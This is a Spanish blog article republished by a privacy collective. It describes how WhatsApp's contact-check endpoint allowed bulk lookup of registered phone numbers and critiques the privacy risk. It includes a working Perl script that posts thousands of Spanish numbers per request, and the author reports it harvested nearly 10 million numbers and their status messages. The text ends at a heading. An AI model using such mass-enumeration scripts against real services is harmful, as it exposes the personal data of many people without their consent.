Casi 10 millones de móviles españoles con WhatsApp instalado
Artículo de [Alejandro Ramos][1] publicado en [Security By Default][2], espacio donde poder compartir experiencias y hablar de los aspectos técnicos relacionados con la seguridad informática, con [licencia Creative Commons Reconocimiento-No Comercial España][3] el [2 de marzo de 2012][4].
Hemos realizado ligeros cambios -cursivas, negritas, enlaces- en la edición en aras de una mejor comprensión del texto.
No hemos cambiado el título aunque habría que añadir a Casi 10 millones de móviles españoles con WhatsApp instalado, constituyen un peligro para la privacidad de lxs usuarixs. Lo reproducimos porque nos parece muy importante que lxs usuarixs sepamos los problemas que tienen las aplicaciones que usamos, los riesgos que conlleva dejarse llevar por la moda de un uso masivo irreflexivo y sin ninguna postura crítica. Realmente WhatsApp hace algo que con [Jabber][5] ya se puede hacer, bien sea en un servidor comercial como de hecho hace Google con Ytalk, bien en un servidor cooperativo o comunitario como [Jabberes.org][6]. Sin embargo, la facilidad de uso, el boca-oreja y sobre todo la moda ha hecho de WhatsApp la aplicación instalada en diez millones de móviles de España. ¿Qué ocurre con la tecnología y el uso que hacemos de ella?
Casi 10 millones de móviles españoles con WhatsApp instalado
¡Qué pesados somos con [whatsapp][8]! Ya, bueno, eso es mentira. Realmente somos pesados con todo. Haciendo algunos ejercicios con aplicaciones de [iPhone][9], me dio por mirar un poco WhatsApp, como [ya hiciera Yago][10] o [Alberto antes][11], pero es que la aplicación da tanto juego, que se puede hablar de ella muchas más veces.
Una de las cosas que observé en ese análisis es que cuando arranca, comprueba el estado de tus contactos y de esa forma, sabe qué personas de tu agenda usan el servicio. Esta petición se realiza mediante HTTPS contra su servidor web con una llamada muy simple a la URL: https://sro.whatsapp.net/client/iphone/iq.php, que devuelve un plist
con sus mensajes y disponibilidad.
`
`
El resto de esta entrada, pues ya os lo podéis imaginar: script en perl, lista de teléfonos registrados de España y a probar y cotillear cuantos hay usando el servicio y qué estados graciosos hay. ¿Aburrido? No, ¡inquieto!
La lista de prefijos de teléfono registrados es pública y se puede descargar en un fichero zip de esta página web: [http://www.cmt.es/cmt_ptl_ext/SelectOption.do?nav=bases&categoria=descarga][12]
El script en perl no es que soporte threads ni sea nada del otro mundo, pero oye… funciona.
`</p>
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
open A,"num.txt";
my @a=;
my $i=0;
foreach my $b (@a){
chomp $b;
foreach $g (0..99) {
$i++;
my $post="";
$post="cd=1&cc=34&me=600000000";
foreach(0..9999) {
$post .= sprintf ("&u%%5B%%5D=%%2B34$b%02d%04d",$g,$_);
}
print "get $in";
my $req = new HTTP::Request 'POST','https://sro.whatsapp.net/client/iphone/iq.php';
$req->content_type('application/x-www-form-urlencoded');
$req->content("$post");
my $res = $ua->request($req);
print $res->as_string;
}
}
`
El resultado, cuando lo ejecuté el 10 de febrero y tras generar un *log* de 2 *Gb*: **9.832.654** de números registrados.
Y algunos estados de gente graciosos:
**HACKERS:**